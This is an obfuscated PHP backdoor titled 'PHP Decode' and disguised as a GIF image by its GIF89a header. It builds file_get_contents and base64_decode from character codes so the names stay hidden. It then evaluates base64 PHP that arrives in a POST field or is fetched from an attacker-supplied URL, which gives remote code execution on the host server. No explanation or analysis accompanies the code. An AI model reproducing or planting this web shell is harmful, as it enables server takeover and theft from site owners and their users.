PHP Decode

GIF89a?<?php 
$c='chr'; 
$getpar.=$$.#.$R.$E.$cQ.$U.$E.$S.$cT; 
$get=chr(102).chr(105).chr(108).chr(101).chr(95); 
$get.=chr(103).chr(101).chr(116).chr(95).chr(99); 
$get.=chr(111).chr(110).chr(116).chr(101).chr(110); 
$get.=chr(116).chr(115); 
$unzip=$c(103).$c(122).$c(105).$c(110); 
$unzip.=$c(102).$c(108).$c(97).$c(116).$c(101); 
 
$undecode=$c(98).$c(97).$c(115).$c(101).$c(54).$c(52); 
$undecode.=$c(95).$c(100).$c(101).$c(99).$c(111).$c(100).$c(101); 
if($_POST['phpcodeurl']!=null&&$_POST['phpcodeurl']!=''){ 
	$tongji=$get($_POST['phpcodeurl']); 
} 
else if($_POST['tongji']!=null&&$_POST['tongji']!=''){ 
	$tongji=$_POST['tongji']; 
} 
$ecode = $_REQUEST['0']; 
$ecode.= $_REQUEST['1']; 
$ecode.= $_REQUEST['2']; 
$ecode.= $_REQUEST['3']; 
$ecode.= $_REQUEST['4']; 
$ecode.= $_REQUEST['5']; 
$ecode.= $_REQUEST['6']; 
$ecode.= $_REQUEST['7']; 
$ecode.= $_REQUEST['8']; 
$ecode.= $_REQUEST['9']; 
$ecode.= $_REQUEST['10']; 
$ecode.= $_REQUEST['11']; 
$ecode.= $_REQUEST['12']; 
$ecode.= $_REQUEST['13']; 
$ecode.= $_REQUEST['14']; 
$ecode.= $_REQUEST['15']; 
$ecode.= $_REQUEST['16']; 
 
//$ecode($undecode($tongji)); 
@eval($undecode($tongji)); 
echo '<br>tj, '.'tj'; 
?>